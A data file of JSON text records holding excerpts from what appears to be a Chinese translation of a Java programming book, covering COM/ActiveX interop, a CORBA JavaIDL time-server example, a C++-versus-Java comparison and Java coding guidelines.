    {"text": "８ ． ８ 总结 下面复习一下由标准 Ｊａｖａ（１．０ 和 １．１）库提供的集合（ＢｉｔＳｅｔ 未包括在这里，因为它更象一种负有特殊使 命的类）： （１） 数组包含了对象的数字化索引。"},
    {"text": "（３） Ｈａｓｈｔａｂｌｅ（散列表）属于 Ｄｉｃｔｉｏｎａｒｙ（字典）的一种类型，是一种将对象（而不是数字）同其他对象 关联到一起的方式。"},
    {"text": "通过下面这行代码，它应用于为外部 ＣＯＭ Ａｕｔｏｍａｔｉｏｎ 服务器生成的类型库： ｊａｃｔｉｖｅｘ ／ｊａｖａｔｌｂ ＪａｖａＡｄｄｅｒ．ｔｌｂ Ｊａｃｔｉｖｅｘ 完成以后，我们再来看看自己的 ｗｉｎｄｏｗｓ／ｊａｖａ／ｔｒｕｓｔｌｉｂ 目录。"},
    {"text": "ｊａｃｔｉｖｅｘ 生成多个文件的原因是 ＣＯＭ 使用多个 实体来描述一个 ＣＯＭ 服务器（另一个原因是我没有对 ＭＩＤＬ 文件和 Ｊａｖａ／ＣＯＭ 工具的使用进行细致的调整）。"},
    {"text": "这些接口（比如 Ａｄｄｅｒ＿ＤｉｓｐａｔｃｈＤｅｆａｕｌｔ．ｊａｖａ）都属于 “遣送”（Ｄｉｓｐａｔｃｈ）接口，属于 Ａｕｔｏｍａｔｉｏｎ 控制器与 Ａｕｔｏｍａｔｉｏｎ 服务器之间的沟通机制的一部分。"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａａｄｄｅｒ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＪａｖａＣｌｉｅｎｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ［］ ａｒｇｓ） ｛ Ａｄｄｅｒ＿ＤｉｓｐａｔｃｈＤｅｆａｕｌｔ ｉＡｄｄｅｒ ＝ （Ａｄｄｅｒ＿ＤｉｓｐａｔｃｈＤｅｆａｕｌｔ） ｎｅｗ Ａｄｄｅｒ（）； ｉＡｄｄｅｒ．ｓｅｔＡｄｄｅｎｄ（３）； ｉＡｄｄｅｒ．ｓｕｍ（）； ｉＡｄｄｅｒ．ｓｕｍ（）； ｉＡｄｄｅｒ．ｓｕｍ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｉＡｄｄｅｒ．ｇｅｔＲｅｓｕｌｔ（））；"},
    {"text": "它支持 ＧＵＩＤ 的使用——Ｖａｒｉａｎｔ（变体）和 ＳａｆｅＡｒｒａｙ ６６５ Ａｕｔｏｍａｔｉｏｎ（安全数组自动）类型——能与 ＡｃｔｉｖｅＸ 控件在一个较深的层次打交道，并可控制 ＣＯＭ 异常。"},
    {"text": "在这种情况下，ＪＶＭ 会认为 ＨＲＥＳＵＬＴ 值标志着一次失败，并会产生类 ｃｏｍ．ｍｓ．ｃｏｍ．ＣｏｍＦａｉｌＥｘｃｅｐｔｉｏｎ 的一个固有 Ｊａｖａ 异常。"},
    {"text": "也就是说，Ｊａｖａ Ｂｅａｎ 可包含到象 ＶＢ 或任何一种 Ｍｉｃｒｏｓｏｆｔ Ｏｆｆｉｃｅ 产品那样的 ＡｃｔｉｖｅＸ 容器里。 而一个 ＡｃｔｉｖｅＸ 控件可包含到象 Ｓｕｎ ＢｅａｎＢｏｘ 这样的 Ｂｅａｎｓ 容器里。"},
    {"text": "若希望从 ＡｃｔｉｖｅＸ 容器内部的一个 Ｂｅａｎ 里对事件加以控制，Ｂｅａｎ 必须通过低级技术拦截象鼠标行动这类的系统事件， 不能采用标准的 ＪａｖａＢｅａｎｓ 委托事件模型。"},
    {"text": "Ｊａｖａ 和 ＯＭＧ 对象模型存在着很好的对应关系； 例如，无论 Ｊａｖａ 还是 ＣＯＲＢＡ 都 实现了“接口”的概念，并且都拥有一个引用（参考）对象模型。"},
    {"text": "Ａ ． ６ ． １ Ｃ Ｏ Ｒ Ｂ Ａ 基础 由 ＯＭＧ 制订的对象相互操作规范通常称为“对象管理体系”（ＯｂｊｅｃｔＭａｎａｇｅｍｅｎｔ Ａｒｃｈｉｔｅｃｔｕｒｅ，ＯＭＡ）。 ＯＭＡ 定义了两个组件：“核心对象模型”（Ｃｏｒｅ Ｏｂｊｅｃｔ Ｍｏｄｅｌ）和“ＯＭＡ 参考体系”（ＯＭＡ Ｒｅｆｅｒｅｎｃｅ Ｍｏｄｅｌ）。 ＯＭＡ 参考体系定义了一套基层服务结构及机制，实现了对象相互间进行操作的能力。 ＯＭＡ 参考体系 包括“对象请求代理”（Ｏｂｊｅｃｔ Ｒｅｑｕｅｓｔ Ｂｒｏｋｅｒ，ＯＲＢ）、“对象服务”（Ｏｂｊｅｃｔ Ｓｅｒｖｉｃｅｓ，也称作 ６６６ ＣＯＲＢＡｓｅｒｖｉｃｅｓ）以及一些通用机制。 ＯＲＢ 是对象间相互请求的一条通信总线。"},
    {"text": "并没有硬性规定应如何实现 ＯＲＢ 核心，但为了在不同开发商的 ＯＲＢ 之间实现一种基本的兼容，ＯＭＧ 定义了一 系列服务，它们可通过标准接口访问。"},
    {"text": "１． ＣＯＲＢＡ 接口定义语言（ＩＤＬ） ＣＯＲＢＡ 是面向语言的透明而设计的：一个客户对象可调用属于不同类的服务器对象方法，无论对方是用何种 语言实现的。"},
    {"text": "ＣＯＲＢＡ ＩＤＬ Ｊａｖａ Ｃ＋＋ 模块（Ｍｏｄｕｌｅ） 包（Ｐａｃｋａｇｅ） 命名空间（Ｎａｍｅｓｐａｃｅ） 接口（Ｉｎｔｅｒｆａｃｅ） 接口（Ｉｎｔｅｒｆａｃｅ） 纯抽象类（Ｐｕｒｅ ａｂｓｔｒａｃｔ ｃｌａｓｓ） 方法（Ｍｅｔｈｏｄ） 方法（Ｍｅｔｈｏｄ） 成员函数（Ｍｅｍｂｅｒ ｆｕｎｃｔｉｏｎ） 继承概念也获得了支持——就象 Ｃ＋＋那样，同样使用冒号运算符。"},
    {"text": "随后，ＩＤＬ 会由一个由厂商提供的 ＩＤＬ／Ｊａｖａ 编译器进行编 译，后者会读取 ＩＤＬ 源码，并生成相应的 Ｊａｖａ 代码。 ＩＤＬ 编译器是一个相当有用的工具：它不仅生成与 ＩＤＬ 等价的 Ｊａｖａ 源码，也会生成用于汇集方法自变量的代 码，并可发出远程调用。"},
    {"text": "我们将这种代码称为“根干”（Ｓｔｕｂ ａｎｄ Ｓｋｅｌｅｔｏｎ）代码，它组织成多个 Ｊａｖａ 源 文件，而且通常属于同一个 Ｊａｖａ 包的一部分。"},
    {"text": "比如在启动的时候，服务器应用可创建一个服务器对象，将对象同命名服务绑定起来，然后等候客户发出请 求。 客户首先获得一个服务器引用，解析出字串名，然后通过引用发出对服务器的调用。"},
    {"text": "Ａ ． ６ ． ２ 一个例子 这儿显示的代码可能并不详尽，因为不同的 ＯＲＢ 有不同的方法来访问 ＣＯＲＢＡ 服务，所以无论什么例子都要取 决于具体的厂商（下例使用了 ＪａｖａＩＤＬ，这是 Ｓｕｎ 公司的一个免费产品。"},
    {"text": "下面这个例子展示了时间服务器的 ＩＤＬ 描述情况： ｍｏｄｕｌｅ ＲｅｍｏｔｅＴｉｍｅ ｛ ｉｎｔｅｒｆａｃｅ ＥｘａｃｔＴｉｍｅ ｛ ｓｔｒｉｎｇ ｇｅｔＴｉｍｅ（）；"},
    {"text": "与 ＪａｖａＩＤＬ 产品配套提供 的工具是 ｉｄｌｔｏｊａｖａ： ｉｄｌｔｏｊａｖａ －ｆｓｅｒｖｅｒ －ｆｃｌｉｅｎｔ ＲｅｍｏｔｅＴｉｍｅ．ｉｄｌ 其中两个标记告诉 ｉｄｌｔｏｊａｖａ 同时为根和干生成代码。 ｉｄｌｔｏｊａｖａ 会生成一个 Ｊａｖａ 包，它在 ＩＤＬ 模块、 ＲｅｍｏｔｅＴｉｍｅ 以及生成的 Ｊａｖａ 文件置入 ＲｅｍｏｔｅＴｉｍｅ 子目录后命名。"},
    {"text": "３． 实现服务器和客户 大家在下面看到的是服务器端使用的代码。 服务器对象是在 ＥｘａｃｔＴｉｍｅＳｅｒｖｅｒ 类里实现的。 ＲｅｍｏｔｅＴｉｍｅＳｅｒｖｅｒ 这个应用的作用是：创建一个服务器对象，通过 ＯＲＢ 为其注册，指定对象引用时采用的名 称，然后“安静”地等候客户发出请求。"},
    {"text": "ｉｍｐｏｒｔ ＲｅｍｏｔｅＴｉｍｅ．＊； ｉｍｐｏｒｔ ｏｒｇ．ｏｍｇ．ＣｏｓＮａｍｉｎｇ．＊； ｉｍｐｏｒｔ ｏｒｇ．ｏｍｇ．ＣｏｓＮａｍｉｎｇ．ＮａｍｉｎｇＣｏｎｔｅｘｔＰａｃｋａｇｅ．＊； ｉｍｐｏｒｔ ｏｒｇ．ｏｍｇ．ＣＯＲＢＡ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｔｅｘｔ．＊；"},
    {"text": "／／ Ｓｅｒｖｅｒ ｏｂｊｅｃｔ ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｃｌａｓｓ ＥｘａｃｔＴｉｍｅＳｅｒｖｅｒ ｅｘｔｅｎｄｓ ＿ＥｘａｃｔＴｉｍｅＩｍｐｌＢａｓｅ｛ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｇｅｔＴｉｍｅ（）｛ ｒｅｔｕｒｎ ＤａｔｅＦｏｒｍａｔ． ｇｅｔＴｉｍｅＩｎｓｔａｎｃｅ（ＤａｔｅＦｏｒｍａｔ．ＦＵＬＬ）． ｆｏｒｍａｔ（ｎｅｗ Ｄａｔｅ（ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）））； ｝ ｝ ／／ Ｒｅｍｏｔｅ ａｐｐｌｉｃａｔｉｏｎ ｉｍｐｌｅｍｅｎｔａｔｉｏｎ ｐｕｂｌｉｃ ｃｌａｓｓ ＲｅｍｏｔｅＴｉｍｅＳｅｒｖｅｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ ｔｒｙ ｛ ／／ ＯＲＢ ｃｒｅａｔｉｏｎ ａｎｄ ｉｎｉｔｉａｌｉｚａｔｉｏｎ： ６６８ ＯＲＢ ｏｒｂ ＝ ＯＲＢ．ｉｎｉｔ（ａｒｇｓ， ｎｕｌｌ）； ／／ Ｃｒｅａｔｅ ｔｈｅ ｓｅｒｖｅｒ ｏｂｊｅｃｔ ａｎｄ ｒｅｇｉｓｔｅｒ ｉｔ： ＥｘａｃｔＴｉｍｅＳｅｒｖｅｒ ｔｉｍｅＳｅｒｖｅｒＯｂｊＲｅｆ ＝ ｎｅｗ ＥｘａｃｔＴｉｍｅＳｅｒｖｅｒ（）； ｏｒｂ．ｃｏｎｎｅｃｔ（ｔｉｍｅＳｅｒｖｅｒＯｂｊＲｅｆ）； ／／ Ｇｅｔ ｔｈｅ ｒｏｏｔ ｎａｍｉｎｇ ｃｏｎｔｅｘｔ： ｏｒｇ．ｏｍｇ．ＣＯＲＢＡ．Ｏｂｊｅｃｔ ｏｂｊＲｅｆ ＝ ｏｒｂ．ｒｅｓｏｌｖｅ＿ｉｎｉｔｉａｌ＿ｒｅｆｅｒｅｎｃｅｓ（ ＂ＮａｍｅＳｅｒｖｉｃｅ＂）； ＮａｍｉｎｇＣｏｎｔｅｘｔ ｎｃＲｅｆ ＝ ＮａｍｉｎｇＣｏｎｔｅｘｔＨｅｌｐｅｒ．ｎａｒｒｏｗ（ｏｂｊＲｅｆ）； ／／ Ａｓｓｉｇｎ ａ ｓｔｒｉｎｇ ｎａｍｅ ｔｏ ｔｈｅ ／／ ｏｂｊｅｃｔ ｒｅｆｅｒｅｎｃｅ （ｂｉｎｄｉｎｇ）： ＮａｍｅＣｏｍｐｏｎｅｎｔ ｎｃ ＝ ｎｅｗ ＮａｍｅＣｏｍｐｏｎｅｎｔ（＂ＥｘａｃｔＴｉｍｅ＂， ＂＂）； ＮａｍｅＣｏｍｐｏｎｅｎｔ ｐａｔｈ［］ ＝ ｛ｎｃ｝； ｎｃＲｅｆ．ｒｅｂｉｎｄ（ｐａｔｈ， ｔｉｍｅＳｅｒｖｅｒＯｂｊＲｅｆ）； ／／ Ｗａｉｔ ｆｏｒ ｃｌｉｅｎｔ ｒｅｑｕｅｓｔｓ： ｊａｖａ．ｌａｎｇ．Ｏｂｊｅｃｔ ｓｙｎｃ ＝ ｎｅｗ ｊａｖａ．ｌａｎｇ．Ｏｂｊｅｃｔ（）； ｓｙｎｃｈｒｏｎｉｚｅｄ（ｓｙｎｃ）｛ ｓｙｎｃ．ｗａｉｔ（）； ｝ ｝ ｃａｔｃｈ （Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｒｅｍｏｔｅ Ｔｉｍｅ ｓｅｒｖｅｒ ｅｒｒｏｒ： ＂ ＋ ｅ）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（Ｓｙｓｔｅｍ．ｏｕｔ）；"},
    {"text": "４． 一些 ＣＯＲＢＡ 服务 这里要简单介绍一下 ＪａｖａＩＤＬ 相关代码所做的工作（注意暂时忽略了 ＣＯＲＢＡ 代码与不同厂商有关这一事 实）。"},
    {"text": "通过调用 ｒｅｓｏｌｖｅ＿ｉｎｉｔｉａｌ＿ｒｅｆｅｒｅｎｃｅｓ（），可获得对命名服务的字串式对象引用（在 ＪａｖａＩＤＬ 中是 “ＮａｍｅＳｅｒｖｉｃｅ”），并将这个引用返回。"},
    {"text": "为了将服务对象同一个字串形式的对象引用绑定在一起，我们首先创建一个 ＮａｍｅＣｏｍｐｏｎｅｎｔ 对象，用 “ＥｘａｃｔＴｉｍｅ”进行初始化。 “ＥｘａｃｔＴｉｍｅ”是我们想用于绑定服务对象的名称字串。 随后使用 ｒｅｂｉｎｄ（）方 法，这是受限于对象引用的字串化引用。"},
    {"text": "接下来看看客户代码： ｉｍｐｏｒｔ ＲｅｍｏｔｅＴｉｍｅ．＊； ｉｍｐｏｒｔ ｏｒｇ．ｏｍｇ．ＣｏｓＮａｍｉｎｇ．＊； ｉｍｐｏｒｔ ｏｒｇ．ｏｍｇ．ＣＯＲＢＡ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＲｅｍｏｔｅＴｉｍｅＣｌｉｅｎｔ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ ａｒｇｓ［］） ｛ ｔｒｙ ｛ ／／ ＯＲＢ ｃｒｅａｔｉｏｎ ａｎｄ ｉｎｉｔｉａｌｉｚａｔｉｏｎ： ＯＲＢ ｏｒｂ ＝ ＯＲＢ．ｉｎｉｔ（ａｒｇｓ， ｎｕｌｌ）； ／／ Ｇｅｔ ｔｈｅ ｒｏｏｔ ｎａｍｉｎｇ ｃｏｎｔｅｘｔ： ｏｒｇ．ｏｍｇ．ＣＯＲＢＡ．Ｏｂｊｅｃｔ ｏｂｊＲｅｆ ＝ ｏｒｂ．ｒｅｓｏｌｖｅ＿ｉｎｉｔｉａｌ＿ｒｅｆｅｒｅｎｃｅｓ（ ＂ＮａｍｅＳｅｒｖｉｃｅ＂）； ＮａｍｉｎｇＣｏｎｔｅｘｔ ｎｃＲｅｆ ＝ ＮａｍｉｎｇＣｏｎｔｅｘｔＨｅｌｐｅｒ．ｎａｒｒｏｗ（ｏｂｊＲｅｆ）； ／／ Ｇｅｔ （ｒｅｓｏｌｖｅ） ｔｈｅ ｓｔｒｉｎｇｉｆｉｅｄ ｏｂｊｅｃｔ ／／ ｒｅｆｅｒｅｎｃｅ ｆｏｒ ｔｈｅ ｔｉｍｅ ｓｅｒｖｅｒ： ＮａｍｅＣｏｍｐｏｎｅｎｔ ｎｃ ＝ ｎｅｗ ＮａｍｅＣｏｍｐｏｎｅｎｔ（＂ＥｘａｃｔＴｉｍｅ＂， ＂＂）； ＮａｍｅＣｏｍｐｏｎｅｎｔ ｐａｔｈ［］ ＝ ｛ｎｃ｝； ＥｘａｃｔＴｉｍｅ ｔｉｍｅＯｂｊＲｅｆ ＝ ＥｘａｃｔＴｉｍｅＨｅｌｐｅｒ．ｎａｒｒｏｗ（ ｎｃＲｅｆ．ｒｅｓｏｌｖｅ（ｐａｔｈ））； ／／ Ｍａｋｅ ｒｅｑｕｅｓｔｓ ｔｏ ｔｈｅ ｓｅｒｖｅｒ ｏｂｊｅｃｔ： Ｓｔｒｉｎｇ ｅｘａｃｔＴｉｍｅ ＝ ｔｉｍｅＯｂｊＲｅｆ．ｇｅｔＴｉｍｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ｅｘａｃｔＴｉｍｅ）； ｝ ｃａｔｃｈ （Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｒｅｍｏｔｅ Ｔｉｍｅ ｓｅｒｖｅｒ ｅｒｒｏｒ： ＂ ＋ ｅ）； ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（Ｓｙｓｔｅｍ．ｏｕｔ）；"},
    {"text": "接下来，我们需要用到服务对象的一个对象引用，所以将字串形式的对象引用直接传递给 ｒｅｓｏｌｖｅ（）方法， 并用 ｎａｒｒｏｗ（）方法将结果造型到 ＥｘａｃｔＴｉｍｅ 接口引用里。"},
    {"text": "若服务器与客户分别 位于不同的机器上，那么 ＯＲＢ 可用一个名为“安装库”（Ｉｍｐｌｅｍｅｎｔａｔｉｏｎ Ｒｅｐｏｓｉｔｏｒｙ）的组件解析出远程字 串式引用。"},
    {"text": "我们需要的全部东西就是位于服务器那一端的、某种形式 的封装 Ｊａｖａ 对象，它将非 Ｊａｖａ 代码“包裹”于其中。 封装对象通过 ＲＭＩ 同 Ｊａｖａ 客户建立外部连接，并于内 部建立与非 Ｊａｖａ 代码的连接——采用前面讲到的某种技术，如 ＪＮＩ 或 Ｊ／Ｄｉｒｅｃｔ。"},
    {"text": "Ｓｕｎ 公司提供的 ＪＮＩ 具有灵活、简单（尽管它要求对 ＪＶＭ 内核进行大量控制）、功能强大以及通用于大多数 ＪＶＭ 的优点。 到本书完稿时为止，微软仍未提供对 ＪＮＩ 的支持，而是提供了自己的 Ｊ／Ｄｉｒｅｃｔ（调用 Ｗｉｎ３２ ＤＬＬ 函数的一种简便方法）和 ＲＮＩ（特别适合编写高效率的代码，但要求对 ＪＶＭ 内核有很深入的理解）。"},
    {"text": "ＣＯＲＢＡ 与前面提到的所有技术都不同，因为它并未集成到 Ｊａｖａ 语言里，而是采用了其 他厂商（第三方）的集成技术，并要求我们购买其他厂商提供的 ＯＲＢ。"},
    {"text": "６７１ 附录 Ｂ 对比 Ｃ ＋ ＋ 和 Ｊ ａ ｖ ａ “作为一名 Ｃ＋＋程序员，我们早已掌握了面向对象程序设计的基本概念，而且 Ｊａｖａ 的语法无疑是非常熟悉 的。"},
    {"text": "当然，我们完全有理由认 为会出现适用于更多流行平台的纯固有编译器，但假若没有那些编译器，由于速度的限制，必须有些问题是 Ｊａｖａ 不能解决的。"},
    {"text": "） （７） 与 Ｃ＋＋类似，Ｊａｖａ 含有一系列“主类型”（Ｐｒｉｍｉｔｉｖｅ ｔｙｐｅ），以实现更有效率的访问。 在 Ｊａｖａ 中，这 些类型包括 ｂｏｏｌｅａｎ，ｃｈａｒ，ｂｙｔｅ ，ｓｈｏｒｔ，ｉｎｔ，ｌｏｎｇ，ｆｌｏａｔ 以及 ｄｏｕｂｌｅ。"},
    {"text": "（１０） Ｊａｖａ 增添了三个右移位运算符“＞＞＞”，具有与“逻辑”右移位运算符类似的功用，可在最末尾插入零 值。 “＞＞”则会在移位的同时插入符号位（即“算术”移位）。"},
    {"text": "（１２） 对于所有不属于主类型的对象，都只能通过 ｎｅｗ 命令创建。 和 Ｃ＋＋不同，Ｊａｖａ 没有相应的命令可以“在 堆栈上”创建不属于主类型的对象。 所有主类型都只能在堆栈上创建，同时不使用 ｎｅｗ 命令。"},
    {"text": "所有主要的类 都有自己的“封装（器）”类，所以能够通过 ｎｅｗ 创建等价的、以内存“堆”为基础的对象（主类型数组是 一个例外：它们可象 Ｃ＋＋那样通过集合初始化进行分配，或者使用 ｎｅｗ）。"},
    {"text": "由于将所有东西都置入一个类，而且由于采用了一种名为“封装”的机 制，它能针对类名进行类似于命名空间分解的操作，所以命名的问题不再进入我们的考虑之列。"},
    {"text": "在 Ｃ 和 Ｃ＋＋里大量采用指针的另 一个原因是为了能指向任意一个内存位置（这同时会使它们变得不安全，也是 Ｊａｖａ 不提供这一支持的原 因）。"},
    {"text": "（２５） “垃圾收集”意味着在 Ｊａｖａ 中出现内存漏洞的情况会少得多，但也并非完全不可能（若调用一个用于 分配存储空间的固有方法，垃圾收集器就不能对其进行跟踪监视）。"},
    {"text": "然而，内存漏洞和资源漏洞多是由于编 写不当的 ｆｉｎａｌｉｚｅ（）造成的，或是由于在已分配的一个块尾释放一种资源造成的（“破坏器”在此时显得特 别方便）。"},
    {"text": "在另一方面，一个 ｓｙｎｃｈｒｏｎｉｚｅｄ 方法进入以后，它首先会“锁定”对象，防止其他任何 ｓｙｎｃｈｒｏｎｉｚｅｄ 方法再使用那个对象。"},
    {"text": "（２７） 我们不是象 Ｃ＋＋那样控制声明代码块，而是将访问限定符（ｐｕｂｌｉｃ，ｐｒｉｖａｔｅ 和 ｐｒｏｔｅｃｔｅｄ）置入每个 类成员的定义里。"},
    {"text": "Ｊａｖａ 的 ｐｒｏｔｅｃｔｅｄ 关键字 意味着“可由继承者访问，亦可由包内其他元素访问”。 注意 Ｊａｖａ 没有与 Ｃ＋＋的 ｐｒｏｔｅｃｔｅｄ 关键字等价的元 素，后者意味着“只能由继承者访问”（以前可用“ｐｒｉｖａｔｅ ｐｒｏｔｅｃｔｅｄ”实现这个目的，但这一对关键字的 组合已被取消了）。"},
    {"text": "Ｊａｖａ 用 ｅｘｔｅｎｄｓ 关键字标志从一个基础类 的继承，并用 ｓｕｐｅｒ 关键字指出准备在基础类中调用的方法，它与我们当前所在的方法具有相同的名字（然 而，Ｊａｖａ 中的 ｓｕｐｅｒ 关键字只允许我们访问父类的方法——亦即分级结构的上一级）。"},
    {"text": "ｐｕｂｌｉｃ ｃｌａｓｓ Ｆｏｏ ｅｘｔｅｎｄｓ Ｂａｒ ｛ ｐｕｂｌｉｃ Ｆｏｏ（Ｓｔｒｉｎｇ ｍｓｇ） ｛ ｓｕｐｅｒ（ｍｓｇ）； ／／ Ｃａｌｌｓ ｂａｓｅ ｃｏｎｓｔｒｕｃｔｏｒ ｝ ｐｕｂｌｉｃ ｂａｚ（ｉｎｔ ｉ） ｛ ／／ Ｏｖｅｒｒｉｄｅ ｓｕｐｅｒ．ｂａｚ（ｉ）；"},
    {"text": "例 如，假设一个成员在基础类中属于 ｐｕｂｌｉｃ，而我们用另一个方法代替了它，那么用于替换的方法也必须属于 ｐｕｂｌｉｃ（编译器会自动检查）。"},
    {"text": "｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｂａｚ ｅｘｔｅｎｄｓ Ｂａｒ ｉｍｐｌｅｍｅｎｔｓ Ｆａｃｅ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｓｍｉｌｅ（ ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ ｗａｒｍ ｓｍｉｌｅ＂）；"},
    {"text": "Ｃ＋＋之所以采用了 ｖｉｒｔｕａｌ，是由于我们对性能进行调整的时候，可通过将其 省略，从而获得执行效率的少量提升（或者换句话说：“如果不用，就没必要为它付出代价”）。"},
    {"text": "ｆｉｎａｌ 关键字为性能的调整规定了一些范围——它 向编译器指出这种方法不能被取代，所以它的范围可能被静态约束（而且成为嵌入状态，所以使用 Ｃ＋＋非 ｖｉｒｔｕａｌ 调用的等价方式）。"},
    {"text": "尽管它并不象 Ｃ＋＋的“ｎｅｗ ｃａｓｔｓ”那样具有易于定位造型的优点，但 Ｊａｖａ 会检查使用情况，并丢弃那些“异常”，所以它 不会象 Ｃ＋＋那样允许坏造型的存在。"},
    {"text": "ｐｕｂｌｉｃ ｖｏｉｄ ｆ（Ｏｂｊ ｂ） ｔｈｒｏｗｓ ＩＯＥｘｃｅｐｔｉｏｎ ｛ ｍｙｒｅｓｏｕｒｃｅ ｍｒ ＝ ｂ．ｃｒｅａｔｅＲｅｓｏｕｒｃｅ（）； ｔｒｙ ｛ ｍｒ．ＵｓｅＲｅｓｏｕｒｃｅ（）； ｝ ｃａｔｃｈ （ＭｙＥｘｃｅｐｔｉｏｎ ｅ） ｛ ／／ ｈａｎｄｌｅ ｍｙ ｅｘｃｅｐｔｉｏｎ ｝ ｃａｔｃｈ （Ｔｈｒｏｗａｂｌｅ ｅ） ｛ ／／ ｈａｎｄｌｅ ａｌｌ ｏｔｈｅｒ ｅｘｃｅｐｔｉｏｎｓ ｝ ｆｉｎａｌｌｙ ｛ ｍｒ．ｄｉｓｐｏｓｅ（）；"},
    {"text": "若希望使用类似 Ｃ＋＋按值传递那样的技术，可调用 ｃｌｏｎｅ（），生成自 变量的一个本地副本（尽管 ｃｌｏｎｅ（）的设计依然尚显粗糙——参见第 １２ 章）。"},
    {"text": "为创建一个编译期的常数值，可象下面这样编码： ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＳＩＺＥ ＝ ２５５ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＢＳＩＺＥ ＝ ８ ＊ ＳＩＺＥ （４１） 由于安全方面的原因，“应用程序”的编程与“程序片”的编程之间存在着显著的差异。"},
    {"text": "这些 任务包括（或不久就要包括）： ■连网 ■数据库连接（通过 ＪＤＢＣ） ■多线程 ■分布式对象（通过 ＲＭＩ 和 ＣＯＲＢＡ） ■压缩 ■商贸 由于这些库简单易用，而且非常标准，所以能极大加快应用程序的开发速度。"},
    {"text": "（４７） Ｊａｖａ 通常显得更为健壮，为此采取的手段如下： ■对象句柄初始化成 ｎｕｌｌ（一个关键字） ■句柄肯定会得到检查，并在出错时丢弃异常 ■所有数组访问都会得到检查，及时发现边界违例情况 ■自动垃圾收集，防止出现内存漏洞 ■明确、“傻瓜式”的异常控制机制 ■为多线程提供了简单的语言支持 ■对网络程序片进行字节码校验 ６７６ 附录 Ｃ Ｊ ａ ｖ ａ 编程规则 本附录包含了大量有用的建议，帮助大家进行低级程序设计，并提供了代码编写的一般性指导： （１） 类名首字母应该大写。"},
    {"text": "例如： ＴｈｉｓＩｓＡＣｌａｓｓＮａｍｅ ｔｈｉｓＩｓＭｅｔｈｏｄＯｒＦｉｅｌｄＮａｍｅ 若在定义中出现了常数初始化字符，则大写 ｓｔａｔｉｃ ｆｉｎａｌ 基本类型标识符中的所有字母。"},
    {"text": "（２） 为了常规用途而创建一个类时，请采取“经典形式”，并包含对下述元素的定义： ｅｑｕａｌｓ（） ｈａｓｈＣｏｄｅ（） ｔｏＳｔｒｉｎｇ（） ｃｌｏｎｅ（）（ｉｍｐｌｅｍｅｎｔ Ｃｌｏｎｅａｂｌｅ） ｉｍｐｌｅｍｅｎｔ Ｓｅｒｉａｌｉｚａｂｌｅ （３） 对于自己创建的每一个类，都考虑置入一个 ｍａｉｎ（），其中包含了用于测试那个类的代码。"},
    {"text": "下面是对类设计的一些建议： ■一个复杂的开关语句：考虑采用“多形”机制 ■数量众多的方法涉及到类型差别极大的操作：考虑用几个类来分别实现 ■许多成员变量在特征上有很大的差别：考虑使用几个类 （７） 让一切东西都尽可能地“私有”——ｐｒｉｖａｔｅ。"},
    {"text": "（１０） 任何时候只要发现类与类之间结合得非常紧密，就需要考虑是否采用内部类，从而改善编码及维护工作 （参见第 １４ 章 １４．１．２ 小节的“用内部类改进代码”）。"},
    {"text": "（１４） 当客户程序员用完对象以后，若你的类要求进行任何清除工作，可考虑将清除代码置于一个良好定义的 方法里，采用类似于 ｃｌｅａｎｕｐ（）这样的名字，明确表明自己的用途。 除此以外，可在类内放置一个 ｂｏｏｌｅａｎ （布尔）标记，指出对象是否已被清除。 在类的 ｆｉｎａｌｉｚｅ（）方法里，请确定对象已被清除，并已丢弃了从 ６７７ ＲｕｎｔｉｍｅＥｘｃｅｐｔｉｏｎ 继承的一个类（如果还没有的话），从而指出一个编程错误。"},
    {"text": "在采取象这样的方案之前， 请确定 ｆｉｎａｌｉｚｅ（）能够在自己的系统中工作（可能需要调用 Ｓｙｓｔｅｍ．ｒｕｎＦｉｎａｌｉｚｅｒｓＯｎＥｘｉｔ（ｔｒｕｅ），从而确保 这一行为）。"},
    {"text": "（１６） 若在初始化过程中需要覆盖（取消）ｆｉｎａｌｉｚｅ（），请记住调用 ｓｕｐｅｒ．ｆｉｎａｌｉｚｅ（）（若 Ｏｂｊｅｃｔ 属于我们 的直接超类，则无此必要）。 在对 ｆｉｎａｌｉｚｅ（）进行覆盖的过程中，对 ｓｕｐｅｒ．ｆｉｎａｌｉｚｅ（）的调用应属于最后一 个行动，而不应是第一个行动，这样可确保在需要基础类组件的时候它们依然有效。"},
